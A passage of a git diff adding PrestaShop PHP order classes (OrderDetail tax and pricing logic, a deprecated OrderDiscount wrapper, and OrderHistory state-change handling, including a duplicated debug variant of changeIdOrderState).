tax calculator + * @since 1.5.0.1 + * @return boolean + */ + public function saveTaxCalculator(Order $order, $replace = false) + { + // Nothing to save + if ($this->tax_calculator == null) + return true; + + if (!($this->tax_calculator instanceOf TaxCalculator)) + return false; + + if (count($this->tax_calculator->taxes) == 0) + return true; + + if ($order->total_products <= 0) + return true; + + $ratio = $this->unit_price_tax_excl / $order->total_products; + $order_reduction_amount = $order->total_discounts_tax_excl * $ratio; + $discounted_price_tax_excl = $this->unit_price_tax_excl - $order_reduction_amount; + + $values = ''; + foreach ($this->tax_calculator->getTaxesAmount($discounted_price_tax_excl) as $id_tax => $amount) + { + $unit_amount = (float)Tools::ps_round($amount, 2); + $total_amount = $unit_amount * $this->product_quantity; + $values .= '('.(int)$this->id.','.(float)$id_tax.','.$unit_amount.','.(float)$total_amount.'),'; + } + + if ($replace) + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'order_detail_tax` WHERE id_order_detail='.(int)$this->id); + + $values = rtrim($values, ','); + $sql = 'INSERT INTO `'._DB_PREFIX_.'order_detail_tax` (id_order_detail, id_tax, unit_amount, total_amount) + VALUES '.$values; + + return Db::getInstance()->execute($sql); + } + + public function updateTaxAmount($order) + { + $this->setContext((int)$this->id_shop); + $address = new Address((int)($order->{Configuration::get('PS_TAX_ADDRESS_TYPE')})); + $tax_manager = TaxManagerFactory::getManager($address, (int)Product::getIdTaxRulesGroupByIdProduct((int)$this->product_id, $this->context)); + $this->tax_calculator = $tax_manager->getTaxCalculator(); + + return $this->saveTaxCalculator($order, true); + } + + /** + * Get a detailed order list of an id_order + * @param int $id_order + * @return array + */ + public static function getList($id_order) + { + return Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'order_detail` WHERE `id_order` = '.(int)$id_order); + } + + /* + * Set virtual product information + * @param array $product + */ + protected function setVirtualProductInformation($product) + { + // Add some informations for virtual products + $this->download_deadline = '0000-00-00 00:00:00'; + $this->download_hash = null; + + if ($id_product_download = ProductDownload::getIdFromIdProduct((int)($product['id_product']))) + { + $productDownload = new ProductDownload((int)($id_product_download)); + $this->download_deadline = $productDownload->getDeadLine(); + $this->download_hash = $productDownload->getHash(); + + unset($productDownload); + } + } + + /** + * Check the order state + * @param array $product + * @param int $id_order_state + */ + protected function checkProductStock($product, $id_order_state) + { + if ($id_order_state != Configuration::get('PS_OS_CANCELED') && $id_order_state != Configuration::get('PS_OS_ERROR')) + { + $update_quantity = true; + if (!StockAvailable::dependsOnStock($product['id_product'])) + $update_quantity = StockAvailable::updateQuantity($product['id_product'], $product['id_product_attribute'], -(int)$product['cart_quantity']); + + if ($update_quantity) + $product['stock_quantity'] -= $product['cart_quantity']; + + if ($product['stock_quantity'] < 0 && Configuration::get('PS_STOCK_MANAGEMENT')) + $this->outOfStock = true; + Product::updateDefaultAttribute($product['id_product']); + } + } + + /** + * Apply tax to the product + * @param object $order + * @param array $product + */ + protected function setProductTax(Order $order, $product) + { + $this->ecotax = Tools::convertPrice(floatval($product['ecotax']), intval($order->id_currency)); + + // Exclude VAT + if (!Tax::excludeTaxeOption()) + { + $this->setContext((int)$product['id_shop']); + $id_tax_rules = (int)Product::getIdTaxRulesGroupByIdProduct((int)$product['id_product'], $this->context); + + $tax_manager = TaxManagerFactory::getManager($this->vat_address, $id_tax_rules); + $this->tax_calculator = $tax_manager->getTaxCalculator(); + $this->tax_computation_method = (int)$this->tax_calculator->computation_method; + } + + $this->ecotax_tax_rate = 0; + if (!empty($product['ecotax'])) + $this->ecotax_tax_rate = Tax::getProductEcotaxRate($order->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + + + } + + /** + * Set specific price of the product + * @param object $order + */ + protected function setSpecificPrice(Order $order, $product = null) + { + $this->reduction_amount = 0.00; + $this->reduction_percent = 0.00; + $this->reduction_amount_tax_incl = 0.00; + $this->reduction_amount_tax_excl = 0.00; + + if ($this->specificPrice) + switch ($this->specificPrice['reduction_type']) + { + case 'percentage': + $this->reduction_percent = (float)$this->specificPrice['reduction'] * 100; + break; + + case 'amount': + $price = Tools::convertPrice($this->specificPrice['reduction'], $order->id_currency); + $this->reduction_amount = (float)(!$this->specificPrice['id_currency'] ? + $price : $this->specificPrice['reduction']); + if ($product !== null) + $this->setContext((int)$product['id_shop']); + $id_tax_rules = (int)Product::getIdTaxRulesGroupByIdProduct((int)$this->specificPrice['id_product'], $this->context); + $tax_manager = TaxManagerFactory::getManager($this->vat_address, $id_tax_rules); + $this->tax_calculator = $tax_manager->getTaxCalculator(); + + $this->reduction_amount_tax_incl = $this->reduction_amount; + $this->reduction_amount_tax_excl = Tools::ps_round($this->tax_calculator->removeTaxes($this->reduction_amount_tax_incl), 2); + break; + } + } + + /** + * Set detailed product price to the order detail + * @param object $order + * @param object $cart + * @param array $product + */ + protected function setDetailProductPrice(Order $order, Cart $cart, $product) + { + $this->setContext((int)$product['id_shop']); + Product::getPriceStatic((int)$product['id_product'], true, (int)$product['id_product_attribute'], 6, null, false, true, $product['cart_quantity'], false, (int)$order->id_customer, (int)$order->id_cart, (int)$order->{Configuration::get('PS_TAX_ADDRESS_TYPE')}, $specific_price, true, true, $this->context); + $this->specificPrice = $specific_price; + + $this->original_product_price = Product::getPriceStatic($product['id_product'], false, (int)$product['id_product_attribute'], 6, null, false, false, 1, false, null, null, null, $null, true, true, $this->context); + $this->product_price = $this->original_product_price; + $this->unit_price_tax_incl = (float)$product['price_wt']; + $this->unit_price_tax_excl = (float)$product['price']; + $this->total_price_tax_incl = (float)$product['total_wt']; + $this->total_price_tax_excl = (float)$product['total']; + + $this->purchase_supplier_price = (float)$product['wholesale_price']; + if ($product['id_supplier'] > 0) + $this->purchase_supplier_price = (float)ProductSupplier::getProductPrice((int)$product['id_supplier'], $product['id_product'], $product['id_product_attribute']); + + $this->setSpecificPrice($order, $product); + + $this->group_reduction = (float)(Group::getReduction((int)($order->id_customer))); + + $shop_id = $this->context->shop->id; + + $quantityDiscount = SpecificPrice::getQuantityDiscount((int)$product['id_product'], $shop_id, + (int)$cart->id_currency, (int)$this->vat_address->id_country, + (int)$this->customer->id_default_group, (int)$product['cart_quantity'], false, null, null, $null, true, true, $this->context); + + $unitPrice = Product::getPriceStatic((int)$product['id_product'], true, + ($product['id_product_attribute'] ? intval($product['id_product_attribute']) : null), + 2, null, false, true, 1, false, (int)$order->id_customer, null, (int)$order->{Configuration::get('PS_TAX_ADDRESS_TYPE')}, $null, true, true, $this->context); + $this->product_quantity_discount = 0.00; + if ($quantityDiscount) + { + $this->product_quantity_discount = $unitPrice; + if (Product::getTaxCalculationMethod((int)$order->id_customer) == PS_TAX_EXC) + $this->product_quantity_discount = Tools::ps_round($unitPrice, 2); + + if (isset($this->tax_calculator)) + $this->product_quantity_discount -= $this->tax_calculator->addTaxes($quantityDiscount['price']); + } + + $this->discount_quantity_applied = (($this->specificPrice && $this->specificPrice['from_quantity'] > 1) ? 1 : 0); + } + + /** + * Create an order detail liable to an id_order + * @param object $order + * @param object $cart + * @param array $product + * @param int $id_order_status + * @param int $id_order_invoice + * @param bool $use_taxes set to false if you don't want to use taxes + */ + protected function create(Order $order, Cart $cart, $product, $id_order_state, $id_order_invoice, $use_taxes = true, $id_warehouse = 0) + { + if ($use_taxes) + $this->tax_calculator = new TaxCalculator(); + + $this->id = null; + + $this->product_id = (int)($product['id_product']); + $this->product_attribute_id = (int)($product['id_product_attribute'] ? (int)($product['id_product_attribute']) : null); + $this->product_name = $product['name']. + ((isset($product['attributes']) && $product['attributes'] != null) ? + ' - '.$product['attributes'] : ''); + + $this->product_quantity = (int)($product['cart_quantity']); + $this->product_ean13 = empty($product['ean13']) ? null : pSQL($product['ean13']); + $this->product_upc = empty($product['upc']) ? null : pSQL($product['upc']); + $this->product_reference = empty($product['reference']) ? null : pSQL($product['reference']); + $this->product_supplier_reference = empty($product['supplier_reference']) ? null : pSQL($product['supplier_reference']); + $this->product_weight = (float)($product['id_product_attribute'] ? $product['weight_attribute'] : $product['weight']); + $this->id_warehouse = $id_warehouse; + + $productQuantity = (int)(Product::getQuantity($this->product_id, $this->product_attribute_id)); + $this->product_quantity_in_stock = ($productQuantity - (int)($product['cart_quantity']) < 0) ? + $productQuantity : (int)($product['cart_quantity']); + + $this->setVirtualProductInformation($product); + $this->checkProductStock($product, $id_order_state); + + if ($use_taxes) + $this->setProductTax($order, $product); + $this->setShippingCost($order, $product); + $this->setDetailProductPrice($order, $cart, $product); + + // Set order invoice id + $this->id_order_invoice = (int)$id_order_invoice; + + // Set shop id + $this->id_shop = (int)$product['id_shop']; + + // Add new entry to the table + $this->save(); + + if ($use_taxes) + $this->saveTaxCalculator($order); + unset($this->tax_calculator); + } + + /** + * Create a list of order detail for a specified id_order using cart + * @param object $order + * @param object $cart + * @param int $id_order_status + * @param int $id_order_invoice + * @param bool $use_taxes set to false if you don't want to use taxes + */ + public function createList(Order $order, Cart $cart, $id_order_state, $product_list, $id_order_invoice = 0, $use_taxes = true, $id_warehouse = 0) + { + $this->vat_address = new Address((int)($order->{Configuration::get('PS_TAX_ADDRESS_TYPE')})); + $this->customer = new Customer((int)($order->id_customer)); + + $this->id_order = $order->id; + $this->outOfStock = false; + + foreach ($product_list as $product) + $this->create($order, $cart, $product, $id_order_state, $id_order_invoice, $use_taxes, $id_warehouse); + + unset($this->vat_address); + unset($products); + unset($this->customer); + } + + /** + * Get the state of the current stock product + * @return array + */ + public function getStockState() + { + return $this->outOfStock; + } + + /** + * Set the additional shipping information + * + * @param Order $order + * @param $product + */ + public function setShippingCost(Order $order, $product) + { + $tax_rate = 0; + + $carrier = OrderInvoice::getCarrier((int)$this->id_order_invoice); + if (isset($carrier) && Validate::isLoadedObject($carrier)) + $tax_rate = $carrier->getTaxesRate(new Address((int)$order->{Configuration::get('PS_TAX_ADDRESS_TYPE')})); + + $this->total_shipping_price_tax_excl = (float)$product['additional_shipping_cost']; + $this->total_shipping_price_tax_incl = (float)($this->total_shipping_price_tax_excl * (1 + ($tax_rate / 100))); + $this->total_shipping_price_tax_incl = Tools::ps_round($this->total_shipping_price_tax_incl, 2); + } + + public function getWsTaxes() + { + $query = new DbQuery(); + $query->select('id_tax as id'); + $query->from('order_detail_tax', 'tax'); + $query->join('LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON (tax.`id_order_detail` = od.`id_order_detail`)'); + $query->where('od.`id_order_detail` = '.(int)$this->id_order_detail); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } +} diff --git a/classes/order/OrderDiscount.php b/classes/order/OrderDiscount.php new file mode 100755 index 0000000..e0e087b --- /dev/null +++ b/classes/order/OrderDiscount.php @@ -0,0 +1,57 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0 + */ +class OrderDiscountCore extends OrderCartRule +{ + public function __get($key) + { + Tools::displayAsDeprecated(); + if ($key == 'id_order_discount') + return $this->id_order_cart_rule; + if ($key == 'id_discount') + return $this->id_cart_rule; + return $this->{$key}; + } + + public function __set($key, $value) + { + Tools::displayAsDeprecated(); + if ($key == 'id_order_discount') + $this->id_order_cart_rule = $value; + if ($key == 'id_discount') + $this->id_cart_rule = $value; + $this->{$key} = $value; + } + + public function __call($method, $args) + { + Tools::displayAsDeprecated(); + return call_user_func_array(array($this->parent, $method), $args); + } +} \ No newline at end of file diff --git a/classes/order/OrderHistory.php b/classes/order/OrderHistory.php new file mode 100755 index 0000000..df3edcc --- /dev/null +++ b/classes/order/OrderHistory.php @@ -0,0 +1,690 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderHistoryCore extends ObjectModel +{ + /** @var integer Order id */ + public $id_order; + + /** @var integer Order state id */ + public $id_order_state; + + /** @var integer Employee id for this history entry */ + public $id_employee; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_history', + 'primary' => 'id_order_history', + 'fields' => array( + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_order_state' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_employee' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'objectsNodeName' => 'order_histories', + 'fields' => array( + 'id_order_state' => array('required' => true, 'xlink_resource'=> 'order_states'), + 'id_order' => array('xlink_resource' => 'orders'), + ), + ); + + /** + * Sets the new state of the given order + * + * @param int $new_order_state + * @param int/object $id_order + * @param bool $use_existing_payment + */ + public function changeIdOrderState($new_order_state, $id_order, $use_existing_payment = false) + { + if (!$new_order_state || !$id_order) + return; + + if (!is_object($id_order) && is_numeric($id_order)) + $order = new Order((int)$id_order); + elseif (is_object($id_order)) + $order = $id_order; + else + return; + + $new_os = new OrderState((int)$new_order_state, $order->id_lang); + $old_os = $order->getCurrentOrderState(); + $is_validated = $this->isValidated(); + + + // executes hook + if ($new_os->id == Configuration::get('PS_OS_PAYMENT')) + Hook::exec('actionPaymentConfirmation', array('id_order' => (int)$order->id)); + + // executes hook + Hook::exec('actionOrderStatusUpdate', array( + 'newOrderStatus' => $new_os, + 'id_order' => (int)$order->id + )); + + if (Validate::isLoadedObject($order) && ($old_os instanceof OrderState) && ($new_os instanceof OrderState)) + { + // An email is sent the first time a virtual item is validated + $virtual_products = $order->getVirtualProducts(); + if ($virtual_products && (!$old_os || !$old_os->logable) && $new_os && $new_os->logable) + { + $context = Context::getContext(); + $assign = array(); + foreach ($virtual_products as $key => $virtual_product) + { + $id_product_download = ProductDownload::getIdFromIdProduct($virtual_product['product_id']); + $product_download = new ProductDownload($id_product_download); + // If this virtual item has an associated file, we'll provide the link to download the file in the email + if ($product_download->display_filename != '') + { + $assign[$key]['name'] = $product_download->display_filename; + $dl_link = $product_download->getTextLink(false, $virtual_product['download_hash']) + .'&id_order='.(int)$order->id + .'&secure_key='.$order->secure_key; + $assign[$key]['link'] = $dl_link; + if ($virtual_product['date_expiration'] != '0000-00-00 00:00:00') + $assign[$key]['deadline'] = Tools::displayDate($virtual_product['date_expiration '], $order->id_lang); + if ($product_download->nb_downloadable != 0) + $assign[$key]['downloadable'] = (int)$product_download->nb_downloadable; + } + } + + $customer = new Customer((int)$order->id_customer); + + $links = '<ul>'; + foreach($assign as $product) + { + $links .= '<li>'; + $links .= '<a href="'.$product['link'].'">'.Tools::htmlentitiesUTF8($product['name']).'</a>'; + if (isset($product['deadline'])) + $links .= ' '.Tools::htmlentitiesUTF8(Tools::displayError('expires on')).' '.$product['deadline']; + if (isset($product['downloadable'])) + $links .= ' '.Tools::htmlentitiesUTF8(sprintf(Tools::displayError('downloadable %d time(s)'), (int)$product['downloadable'])); + $links .= '</li>'; + } + $links .= '<ul>'; + $data = array( + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{id_order}' => (int)$order->id, + '{order_name}' => $order->getUniqReference(), + '{nbProducts}' => count($virtual_products), + '{virtualProducts}' => $links + ); + // If there's at least one downloadable file + if (!empty($assign)) + Mail::Send((int)$order->id_lang, 'download_product', Mail::l('Virtual product to download', $order->id_lang), $data, $customer->email, $customer->firstname.' '.$customer->lastname, + null, null, null, null, _PS_MAIL_DIR_, false, (int)$order->id_shop); + } + + // @since 1.5.0 : gets the stock manager + $manager = null; + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + $manager = StockManagerFactory::getManager(); + // foreach products of the order + foreach ($order->getProductsDetail() as $product) + { + // if becoming logable => adds sale + if ($new_os->logable && !$old_os->logable) + { + ProductSale::addProductSale($product['product_id'], $product['product_quantity']); + // @since 1.5.0 - Stock Management + if (!Pack::isPack($product['product_id']) && + ($old_os->id == Configuration::get('PS_OS_ERROR') || $old_os->id == Configuration::get('PS_OS_CANCELED')) && + !StockAvailable::dependsOnStock($product['id_product'], (int)$order->id_shop)) + StockAvailable::updateQuantity($product['product_id'], $product['product_attribute_id'], -(int)$product['product_quantity'], $order->id_shop); + } + // if becoming unlogable => removes sale + elseif (!$new_os->logable && $old_os->logable) + { + ProductSale::removeProductSale($product['product_id'], $product['product_quantity']); + + // @since 1.5.0 - Stock Management + if (!Pack::isPack($product['product_id']) && + ($new_os->id == Configuration::get('PS_OS_ERROR') || $new_os->id == Configuration::get('PS_OS_CANCELED')) && + !StockAvailable::dependsOnStock($product['id_product'])) + StockAvailable::updateQuantity($product['product_id'], $product['product_attribute_id'], (int)$product['product_quantity'], $order->id_shop); + } + // if waiting for payment => payment error/canceled + elseif (!$new_os->logable && !$old_os->logable && + ($new_os->id == Configuration::get('PS_OS_ERROR') || $new_os->id == Configuration::get('PS_OS_CANCELED')) && + !StockAvailable::dependsOnStock($product['id_product'])) + StockAvailable::updateQuantity($product['product_id'], $product['product_attribute_id'], (int)$product['product_quantity'], $order->id_shop); + // @since 1.5.0 : if the order is being shipped and this products uses the advanced stock management : + // decrements the physical stock using $id_warehouse + if ($new_os->shipped == 1 && $old_os->shipped == 0 && + Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && + Warehouse::exists($product['id_warehouse']) && + $manager != null && + ((int)$product['advanced_stock_management'] == 1 || Pack::usesAdvancedStockManagement($product['product_id']))) + { + // gets the warehouse + $warehouse = new Warehouse($product['id_warehouse']); + + // decrements the stock (if it's a pack, the StockManager does what is needed) + $manager->removeProduct( + $product['product_id'], + $product['product_attribute_id'], + $warehouse, + $product['product_quantity'], + Configuration::get('PS_STOCK_CUSTOMER_ORDER_REASON'), + true, + (int)$order->id + ); + } + // @since.1.5.0 : if the order was shipped, and is not anymore, we need to restock products + elseif ($new_os->shipped == 0 && $old_os->shipped == 1 && + Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && + Warehouse::exists($product['id_warehouse']) && + $manager != null && + ((int)$product['advanced_stock_management'] == 1 || Pack::usesAdvancedStockManagement($product['product_id']))) + { + // if the product is a pack, we restock every products in the pack using the last negative stock mvts + if (Pack::isPack($product['product_id'])) + { + $pack_products = Pack::getItems($product['product_id'], Configuration::get('PS_LANG_DEFAULT', null, null, $order->id_shop)); + foreach ($pack_products as $pack_product) + { + if ($pack_product->advanced_stock_management == 1) + { + $mvts = StockMvt::getNegativeStockMvts($order->id, $pack_product->id, 0, $pack_product->pack_quantity * $product['product_quantity']); + foreach ($mvts as $mvt) + { + $manager->addProduct( + $pack_product->id, + 0, + new Warehouse($mvt['id_warehouse']), + $mvt['physical_quantity'], + null, + $mvt['price_te'], + true + ); + } + if (!StockAvailable::dependsOnStock($product['id_product'])) + StockAvailable::updateQuantity($pack_product->id, 0, (int)$pack_product->pack_quantity * $product['product_quantity'], $order->id_shop); + } + } + } + // else, it's not a pack, re-stock using the last negative stock mvts + else + { + $mvts = StockMvt::getNegativeStockMvts($order->id, $product['product_id'], $product['product_attribute_id'], $product['product_quantity']); + foreach ($mvts as $mvt) + { + $manager->addProduct( + $product['product_id'], + $product['product_attribute_id'], + new Warehouse($mvt['id_warehouse']), + $mvt['physical_quantity'], + null, + $mvt['price_te'], + true + ); + } + } + } + } + } + + $this->id_order_state = (int)$new_order_state; + + // changes invoice number of order ? + if (!Validate::isLoadedObject($new_os) || !Validate::isLoadedObject($order)) + die(Tools::displayError('Invalid new order state')); + + // the order is valid if and only if the invoice is available and the order is not cancelled + $order->current_state = $this->id_order_state; + $order->valid = $new_os->logable; + $order->update(); + + if ($new_os->invoice && !$order->invoice_number) + $order->setInvoice($use_existing_payment); + + // set orders as paid + if ($new_os->paid == 1) + { + $invoices = $order->getInvoicesCollection(); + if ($order->total_paid != 0) + $payment_method = Module::getInstanceByName($order->module); + + foreach ($invoices as $invoice) + { + $rest_paid = $invoice->getRestPaid(); + if ($rest_paid > 0) + { + $payment = new OrderPayment(); + $payment->order_reference = $order->reference; + $payment->id_currency = $order->id_currency; + $payment->amount = $rest_paid; + + if ($order->total_paid != 0) + $payment->payment_method = $payment_method->displayName; + else + $payment->payment_method = null; + + // Update total_paid_real value for backward compatibility reasons + if ($payment->id_currency == $order->id_currency) + $order->total_paid_real += $payment->amount; + else + $order->total_paid_real += Tools::ps_round(Tools::convertPrice($payment->amount, $payment->id_currency, false), 2); + $order->save(); + + $payment->conversion_rate = 1; + $payment->save(); + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'order_invoice_payment` + VALUES('.(int)$invoice->id.', '.(int)$payment->id.', '.(int)$order->id.')'); + } + } + } + + // updates delivery date even if it was already set by another state change + if ($new_os->delivery) + $order->setDelivery(); + + // executes hook + Hook::exec('actionOrderStatusPostUpdate', array( + 'newOrderStatus' => $new_os, + 'id_order' => (int)$order->id, + )); + } + public function changeIdOrderState2($new_order_state, $id_order, $use_existing_payment = false) + { + if (!$new_order_state || !$id_order) + return; + + if (!is_object($id_order) && is_numeric($id_order)) + $order = new Order((int)$id_order); + elseif (is_object($id_order)) + $order = $id_order; + else + return; + + $new_os = new OrderState((int)$new_order_state, $order->id_lang); + $old_os = $order->getCurrentOrderState(); + $is_validated = $this->isValidated(); + + + // executes hook + if ($new_os->id == Configuration::get('PS_OS_PAYMENT')) + Hook::exec('actionPaymentConfirmation', array('id_order' => (int)$order->id)); + + // executes hook + Hook::exec('actionOrderStatusUpdate', array( + 'newOrderStatus' => $new_os, + 'id_order' => (int)$order->id + )); + + if (Validate::isLoadedObject($order) && ($old_os instanceof OrderState) && ($new_os instanceof OrderState)) + { + // An email is sent the first time a virtual item is validated + $virtual_products = $order->getVirtualProducts(); + if ($virtual_products && (!$old_os || !$old_os->logable) && $new_os && $new_os->logable) + { + $context = Context::getContext(); + $assign = array(); + foreach ($virtual_products as $key => $virtual_product) + { + $id_product_download = ProductDownload::getIdFromIdProduct($virtual_product['product_id']); + $product_download = new ProductDownload($id_product_download); + // If this virtual item has an associated file, we'll provide the link to download the file in the email + if ($product_download->display_filename != '') + { + $assign[$key]['name'] = $product_download->display_filename; + $dl_link = $product_download->getTextLink(false, $virtual_product['download_hash']) + .'&id_order='.(int)$order->id + .'&secure_key='.$order->secure_key; + $assign[$key]['link'] = $dl_link; + if ($virtual_product['date_expiration'] != '0000-00-00 00:00:00') + $assign[$key]['deadline'] = Tools::displayDate($virtual_product['date_expiration '], $order->id_lang); + if ($product_download->nb_downloadable != 0) + $assign[$key]['downloadable'] = (int)$product_download->nb_downloadable; + } + } + + $customer = new Customer((int)$order->id_customer); + + $links = '<ul>'; + foreach($assign as $product) + { + $links .= '<li>'; + $links .= '<a href="'.$product['link'].'">'.Tools::htmlentitiesUTF8($product['name']).'</a>'; + if (isset($product['deadline'])) + $links .= ' '.Tools::htmlentitiesUTF8(Tools::displayError('expires on')).' '.$product['deadline']; + if (isset($product['downloadable'])) + $links .= ' '.Tools::htmlentitiesUTF8(sprintf(Tools::displayError('downloadable %d time(s)'), (int)$product['downloadable'])); + $links .= '</li>'; + } + $links .= '<ul>'; + $data = array( + '{lastname}' => $customer->lastname, + '{firstname}' => $customer->firstname, + '{id_order}' => (int)$order->id, + '{order_name}' => $order->getUniqReference(), + '{nbProducts}' => count($virtual_products), + '{virtualProducts}' => $links + ); + // If there's at least one downloadable file + if (!empty($assign)) + Mail::Send((int)$order->id_lang, 'download_product', Mail::l('Virtual product to download', $order->id_lang), $data, $customer->email, $customer->firstname.' '.$customer->lastname, + null, null, null, null, _PS_MAIL_DIR_, false, (int)$order->id_shop); + } + + // @since 1.5.0 : gets the stock manager + $manager = null; + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + $manager = StockManagerFactory::getManager(); + // foreach products of the order + foreach ($order->getProductsDetail() as $product) + { + // if becoming logable => adds sale + if ($new_os->logable && !$old_os->logable) + { + ProductSale::addProductSale($product['product_id'], $product['product_quantity']); + // @since 1.5.0 - Stock Management + if (!Pack::isPack($product['product_id']) && + ($old_os->id == Configuration::get('PS_OS_ERROR') || $old_os->id == Configuration::get('PS_OS_CANCELED')) && + !StockAvailable::dependsOnStock($product['id_product'], (int)$order->id_shop)) + StockAvailable::updateQuantity($product['product_id'], $product['product_attribute_id'], -(int)$product['product_quantity'], $order->id_shop); + } + // if becoming unlogable => removes sale + elseif (!$new_os->logable && $old_os->logable) + { + ProductSale::removeProductSale($product['product_id'], $product['product_quantity']); + + // @since 1.5.0 - Stock Management + if (!Pack::isPack($product['product_id']) && + ($new_os->id == Configuration::get('PS_OS_ERROR') || $new_os->id == Configuration::get('PS_OS_CANCELED')) && + !StockAvailable::dependsOnStock($product['id_product'])) + StockAvailable::updateQuantity($product['product_id'], $product['product_attribute_id'], (int)$product['product_quantity'], $order->id_shop); + } + // if waiting for payment => payment error/canceled + elseif (!$new_os->logable && !$old_os->logable && + ($new_os->id == Configuration::get('PS_OS_ERROR') || $new_os->id == Configuration::get('PS_OS_CANCELED')) && + !StockAvailable::dependsOnStock($product['id_product'])) + StockAvailable::updateQuantity($product['product_id'], $product['product_attribute_id'], (int)$product['product_quantity'], $order->id_shop); + // @since 1.5.0 : if the order is being shipped and this products uses the advanced stock management : + // decrements the physical stock using $id_warehouse + if ($new_os->shipped == 1 && $old_os->shipped == 0 && + Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && + Warehouse::exists($product['id_warehouse']) && + $manager != null && + ((int)$product['advanced_stock_management'] == 1 || Pack::usesAdvancedStockManagement($product['product_id']))) + { + // gets the warehouse + $warehouse = new Warehouse($product['id_warehouse']); + + // decrements the stock (if it's a pack, the StockManager does what is needed) + $manager->removeProduct( + $product['product_id'], + $product['product_attribute_id'], + $warehouse, + $product['product_quantity'], + Configuration::get('PS_STOCK_CUSTOMER_ORDER_REASON'), + true, + (int)$order->id + ); + } + // @since.1.5.0 : if the order was shipped, and is not anymore, we need to restock products + elseif ($new_os->shipped == 0 && $old_os->shipped == 1 && + Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') && + Warehouse::exists($product['id_warehouse']) && + $manager != null && + ((int)$product['advanced_stock_management'] == 1 || Pack::usesAdvancedStockManagement($product['product_id']))) + { + // if the product is a pack, we restock every products in the pack using the last negative stock mvts + if (Pack::isPack($product['product_id'])) + { + $pack_products = Pack::getItems($product['product_id'], Configuration::get('PS_LANG_DEFAULT', null, null, $order->id_shop)); + foreach ($pack_products as $pack_product) + { + if ($pack_product->advanced_stock_management == 1) + { + $mvts = StockMvt::getNegativeStockMvts($order->id, $pack_product->id, 0, $pack_product->pack_quantity * $product['product_quantity']); + foreach ($mvts as $mvt) + { + $manager->addProduct( + $pack_product->id, + 0, + new Warehouse($mvt['id_warehouse']), + $mvt['physical_quantity'], + null, + $mvt['price_te'], + true + ); + } + if (!StockAvailable::dependsOnStock($product['id_product'])) + StockAvailable::updateQuantity($pack_product->id, 0, (int)$pack_product->pack_quantity * $product['product_quantity'], $order->id_shop); + } + } + } + // else, it's not a pack, re-stock using the last negative stock mvts + else + { + $mvts = StockMvt::getNegativeStockMvts($order->id, $product['product_id'], $product['product_attribute_id'], $product['product_quantity']); + foreach ($mvts as $mvt) + { + $manager->addProduct( + $product['product_id'], + $product['product_attribute_id'], + new Warehouse($mvt['id_warehouse']), + $mvt['physical_quantity'], + null, + $mvt['price_te'], + true + ); + } + } + // echo "test"; + // die(); + } + } + } + + $this->id_order_state = (int)$new_order_state; + + // changes invoice number of order ? + if (!Validate::isLoadedObject($new_os) || !Validate::isLoadedObject($order)) + die(Tools::displayError('Invalid new order state')); + + // the order is valid if and only if the invoice is available and the order is not cancelled + $order->current_state = $this->id_order_state; + $order->valid = $new_os->logable; + $order->update(); + + if ($new_os->invoice && !$order->invoice_number) + $order->setInvoice($use_existing_payment); + + // set orders as paid + if ($new_os->paid == 1) + { + $invoices = $order->getInvoicesCollection(); + if ($order->total_paid != 0) + $payment_method = Module::getInstanceByName($order->module); + + foreach ($invoices as $invoice) + { + $rest_paid = $invoice->getRestPaid(); + if ($rest_paid > 0) + { + $payment = new OrderPayment(); + $payment->order_reference = $order->reference; + $payment->id_currency = $order->id_currency; + $payment->amount = $rest_paid; + + if ($order->total_paid != 0) + $payment->payment_method = $payment_method->displayName; + else + $payment->payment_method = null; + + // Update total_paid_real value for backward compatibility reasons + if ($payment->id_currency == $order->id_currency) + $order->total_paid_real += $payment->amount; + else + $order->total_paid_real 